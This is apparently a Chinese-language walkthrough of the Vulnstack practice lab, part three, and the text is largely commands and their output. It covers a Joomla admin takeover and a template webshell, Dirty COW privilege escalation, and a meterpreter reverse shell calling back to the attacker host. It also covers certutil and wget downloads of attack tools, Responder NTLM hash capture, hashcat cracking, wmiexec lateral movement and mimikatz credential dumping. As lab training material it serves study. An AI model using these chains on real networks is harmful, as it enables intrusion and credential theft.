avatar

内网渗透-红日安全-vulnstack靶场(三)

内网渗透-红日安全-vulnstack靶场(三)

靶场来源:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

靶场情况

  • centos:

192.168.1.110(外) (修改网络配置之后为192.168.222.129)
192.168.93.100(内)

  • ubuntu:192.168.93.120(内)
  • win7 2012 2008:域环境机器

攻击机

宿主机(mac) 192.168.222.1
kali 192.168.222.128

  • 从网上看到的拓扑图:

web部分

信息搜集

  1. 对192.168.1.110-centos主机进行端口扫描
  • 22 80 3306端口:
  1. 目录遍历
  • 发现后台一个:/administrator/

  • 配置文件一个:/configuration.php~

    • 从上图得到一对账号密码 :testuser/cvcvgjASD!@

实际利用

密码测试之后发现是mysql的密码,连接mysql:

查看所有的user表:
得到两个账号,但是密码加密没法直接用。



按照官网说明创建新用户:
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

1
2
3
4
5
6
INSERT INTO `jos31_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

添加的密码解md5值是secret

(果然,官方什么的最好了。)

(admin2/secret)登录joomla后台:
http://192.168.1.110/administrator/

进了后台之后,因为joomla漏洞比较多,利用方式也很多。

  • 法一:可以exp直接shell(cve-2020-10238),反正我没成功
  • 法二:新建template,写shellcode,哥斯拉连
    http://192.168.1.110/templates/beez3/shell.php

此时shell执行命令会返回一个disabled function的信息,用哥斯拉内置的绕过模块:

这里拿到的shell应该是ubuntu(内网机器)的shell,用的centos-ngingx做反向代理。

  • 浏览目录: /tmp/mysql/test.txt 得到 wwwuser/wwwuser_123Aqx
    wp上看到的,我拿到的centos shell上没有看到有/tmp/mysql/test.txt文件.

  • 回想之前centos还有一个22端口没有用,ssh wwwuser@192.168.1.110 password:wwwuser_123Aqx

拿下双网卡主机:

先大概看了一下主机情况:

1
2
3
4
ifconfig -a    双网卡
uname -a linux版本内核信息
cat /etc/*release linux发行信息
...

提权

centos-wwwuser用户不是root权限,提权:

  • 脏牛提权:Linux内核>=2.6.22(原理:条件竞争)
  • msf getsystem提权

我用的脏牛提权,宿主机开http服务

  1. python -m SimpleHTTPServer
  2. centos: wget http://192.168.222.1:8000/tools/dirtycow/dirty.c
  3. 编译生成可执行文件:gcc -pthread dirty.c -o dirty -lcrypt
  4. ./dirty之后会生成一个firefart用户,密码是自己输入的000000


root权限了。
创建新用户:

1
2
3
useradd lil
passwd lil
gpasswd -a lil wheel

内网部分

msf上线centos

  1. 生成elf:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.222.1 LPORT=4444 -f elf > shell.elf
  2. msf开启监听:
    1
    2
    3
    4
    5
    6
    use exploit/multi/handler
    set payload linux/x86/meterpreter/reverse_tcp
    show options
    set lhost 192.168.222.1
    set lport 4444
    run
  3. centos:
    1
    2
    chmod 755 shell.elf
    ./shell.elf

添加路由

1
2
添加内网路由:run autoroute -s 192.168.93.100/24
background

扫描内网主机存活情况:

use scanner/smb/smb_version

不知名主机

线程调低一点:扫出来 10/24-win2012 20/24没有识别出来,应该是win 2008 30/24-win7 .

use auxiliary/scanner/portscan/tcp扫1-10000端口
因为已经知道内网环境有三台win机器,set rhosts 192.168.93.10,20,30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[+] 192.168.93.30:        - 192.168.93.30:135 - TCP OPEN
[+] 192.168.93.30: - 192.168.93.30:139 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:80 - TCP OPEN
[+] 192.168.93.30: - 192.168.93.30:445 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:135 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:139 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:445 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:53 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:88 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:1433 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:2383 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:139 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:135 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:389 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:445 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:464 - TCP OPEN
[*] 192.168.93.10,20,30: - Scanned 1 of 3 hosts (33% complete)
[*] 192.168.93.10,20,30: - Scanned 2 of 3 hosts (66% complete)
[*] 192.168.93.10,20,30: - Scanned 2 of 3 hosts (66% complete)
[*] 192.168.93.10,20,30: - Scanned 2 of 3 hosts (66% complete)
[*] 192.168.93.10,20,30: - Scanned 2 of 3 hosts (66% complete)
[*] 192.168.93.10,20,30: - Scanned 2 of 3 hosts (66% complete)
[+] 192.168.93.10: - 192.168.93.10:593 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:636 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:3269 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:5985 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:9389 - TCP OPEN
[*] 192.168.93.10,20,30: - Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed

定位域控

扫描端口可得域控服务器特征,开放389(ldap,轻量级目录访问协议)和53端口(域名解析服务器)
域控服务器:192.168.93.10(win2012)

获取域内主机权限

  • 法一:1.445端口smb爆破

msf:use auxiliary/scanner/smb/smb_login

  • 法二:192.168.93.20-1433端口利用
    使用Responder.py(需要python3的环境)来伪造smb服务器来获取hash,然后利用mssql来进行触发验证(mssql的密码还是之前mysql的账号密码),抓取ntlm hash。
  1. msf把宿主机文件夹打包整个上传(upload)
  2. 在centos上再装一个python3
  3. python3 Responder.py -I eth1 -wrf
  • 如果报错:[!] Please install python-sqlite3 extension.

参考我的解决方法吧:

1
2
3
4
5
先确认下载了sqlite-devel   yum install sqlite-devel
cd /usr/local/python3/Python目录 ./configure --(用它提示使用的后缀)
make & make install
https://github.com/SpiderLabs/Responder/issues/125
https://stackoverflow.com/questions/39907475/cannot-import-sqlite3-in-python3

继续:
Responder.py成功运行之后,msf触发验证:

use auxiliary/admin/mssql/mssql_ntlm_stealer

1
2
3
[SMB] NTLMv2-SSP Client   : 192.168.93.20
[SMB] NTLMv2-SSP Username : WIN2008\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::WIN2008:d25d8dce45372640:9979580A4ACAC774CE060975510583CE:0101000000000000F90DFD202FA5D7019180ED9E0EB8A5640000000002000800310044005700500001001E00570049004E002D005A005400450038004E0057003500550032004600380004003400570049004E002D005A005400450038004E005700350055003200460038002E0031004400570050002E004C004F00430041004C000300140031004400570050002E004C004F00430041004C000500140031004400570050002E004C004F00430041004C00080030003000000000000000000000000030000011C4314A8F10C5B6E59317CE9DBBCF8859B4494BEA8E251FCE09E150BA4F27F40000000000000000

windows hash:用户名称:RID:LM-HASH值:NT-HASH值

hash破解

工具:hashcat/john
hashcat:

1
hashcat -m 5600 Administrator::WIN2008:d25d8dce45372640:9979580A4ACAC774CE060975510583CE:0101000000000000F90DFD202FA5D7019180ED9E0EB8A5640000000002000800310044005700500001001E00570049004E002D005A005400450038004E0057003500550032004600380004003400570049004E002D005A005400450038004E005700350055003200460038002E0031004400570050002E004C004F00430041004C000300140031004400570050002E004C004F00430041004C000500140031004400570050002E004C004F00430041004C00080030003000000000000000000000000030000011C4314A8F10C5B6E59317CE9DBBCF8859B4494BEA8E251FCE09E150BA4F27F40000000000000000 pass

得到win20密码:123qwe!ASD

关于字典,kali自带很多字典,在/usr/share/wordlists下。

mac上brew的hashcat报错解决不了,就重新下hashcat的源码,make之后也能跑了。

设置socks5代理

结合msf中添加的路由:

1
2
search socks
use auxiliary/server/socks_proxy

mac使用proxychains4,修改配置文件:/usr/local/etc/proxychains.conf

获得cmd

使用impacket中的wmiexec.py获得cmd

1
proxychains4 python3 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'

使用mimikate抓取密码:

  • 方案一:上传mimikatz(x64)到win2008:

certutil -urlcache -split -f http://192.168.93.100:8000/mimikatz.exe .\mimikatz.exe

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

我宿主机拿到的shell很不稳定,直接在虚拟机上演示了一下:(作弊行为)

  • 方案二:msf上线,使用msf内置mimikatz模块
    这里payload的选择考虑到对方主机是一个内网主机,结合msf中的内网路由,使用正向shell:

msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.93.100 LPORT=5555 -f exe > shell.exe

  • getuid 如果不是system权限,进行以下操作(执行mimikatz必须System权限
    )。

进程迁移:选择一个 64 位的进程,并且用户是 NT AUTHORITY\SYSTEM的进程

1
2
3
ps
migrate 568
load kiwi

自动迁移进程:
msf6 exploit(multi/handler) > set AutoRunscript migrate -f

读域管理员明文密码

  • 法一:
    1
    2
    load wiki
    creds_kerberos

得到域管理员密码 test.org\Administrator zxcASDqw123!!
一开始没有抓到域管理员的记录,应该是重启过虚拟机,然后时间太长,记录不再保存的缘故,这里我是手动在域内一台机器以域管理员账号登录之后抓到的密码。

到这应该结束了:

参考

https://cn-sec.com/archives/434298.html
https://www.c0bra.xyz/2020/01/24/%E6%B8%97%E9%80%8F-Vulnstack%E9%9D%B6%E6%9C%BA%E5%AD%A6%E4%B9%A03/
https://www.huaweicloud.com/articles/0b72bf69bb70f1c89ef1872ce2c21560.html

Author: Tabooair
Link: http://yoursite.com/2021/09/17/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8-vulnstack%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.